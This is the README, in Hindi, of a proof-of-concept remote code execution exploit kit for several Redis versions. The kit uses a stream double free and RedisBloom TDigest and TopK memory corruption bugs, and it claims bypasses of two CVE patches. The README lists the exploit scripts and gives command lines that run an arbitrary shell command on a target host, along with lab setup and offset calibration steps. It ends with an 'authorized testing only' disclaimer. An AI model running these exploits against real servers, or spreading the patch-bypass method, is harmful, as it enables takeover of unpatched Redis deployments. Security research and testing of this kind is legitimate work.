
Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1 के लिए RCE PoC
Redis 6.2.22, 7.4.9, 8.6.4 के लिए गैर-विनाशकारी RCE एक्सप्लॉइट, stream consumer-group shared-NACK double free के माध्यम से (CVE-2026-25243 का पैच बायपास), 8.8.0 के लिए bundled RedisBloom में TDigest heap-overflow के माध्यम से, और 8.8.1 के लिए TopK wild free के माध्यम से (CVE-2026-25589 का पैच बायपास)।
A_exploit_stock.py — 6.2.22 के लिए एक्सप्लॉइट (redis:6.2.22 इमेज)P74_exploit.py (+ P74_g2.py) — 7.4.9 के लिए एक्सप्लॉइट (redis:7.4)P86_exploit.py — 8.6.4 के लिए एक्सप्लॉइट (redis:8.6)P88W_exploit.py (+ P88W_lib.py, P88W_corrupt.py) — 8.8.0 के लिए एक्सप्लॉइट (redis:8.8.0, bundled-module TDigest heap overflow के माध्यम से)T88_exploit.py — 8.8.0 और 8.8.1 के लिए एक्सप्लॉइट (bundled-module TopK wild free के माध्यम से; अधूरे CVE-2026-25589 फिक्स का बायपास — RedisBloom v8.8.0 और v8.8.2 पर काम करता है)A_lib.py, G2_arbread.py — साझा हेल्पर (एक्सप्लॉइट के बगल में होने चाहिए)crc64.c/h, crcspeed.c/h — libcrc64.so के स्रोत (Redis CRC64, मान्य RESTORE पेलोड बनाने के लिए आवश्यक)calibrate.sh — गैर-आधिकारिक बिल्ड के लिए बाइनरी ऑफ़सेट की गणना करेंP74_loop.sh, P86_run.sh — बूट-रीट्राई रैपरgcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
आवश्यकता: Python 3.6+ (कोई pip पैकेज नहीं), gcc।
# 6.2.22 (DEBUG enabled by default)
python3 A_exploit_stock.py <host> <port> [password] [trigger]
# 7.4.9 / 8.6.4 — stock target, NO debug flag needed
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]
# 8.8.0 — stock target, FRESH container/instance strongly recommended
python3 P88W_exploit.py <host> <port> [password] [trigger]
# 8.8.0 / 8.8.1 — TopK wild free, stock target, fresh instance recommended
python3 T88_exploit.py <host> <port> [password] [trigger]
password — नो-ऑथ टारगेट के लिए हटाएँ (या "" पास करें)trigger — शेल कमांड, डिफ़ॉल्ट रूप से /data/pwned* के अंतर्गत प्रमाण लिखता हैउदाहरण:
# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# local lab, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
--str-format-off आदि; --help देखें), या उन्हें जनरेट करने के लिए ./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] चलाएँ। गलत ऑफ़सेट टारगेट सर्वर को क्रैश कर देते हैं (आउट-ऑफ़-रेंज रीड)।EVAL, RESTORE, XGROUP (8.8.0/8.8.1 को bundled RedisBloom मॉड्यूल की भी आवश्यकता होती है, जो डिफ़ॉल्ट रूप से मौजूद है)।HARDENING.md देखें। 8.8.0 एक्सप्लॉइट ~2000 ज़ीरो किए गए tdigest structs + एक दूषित oracle कुंजी छोड़ता है — उसके बाद टारगेट पर FLUSHALL/SAVE न करें।TopK_Destroy अभी भी RedisBloom v8.8.0 और v8.8.2 दोनों में undersized heap से आगे के सभी k पॉइंटर्स पढ़ता है)।केवल अधिकृत परीक्षण के लिए।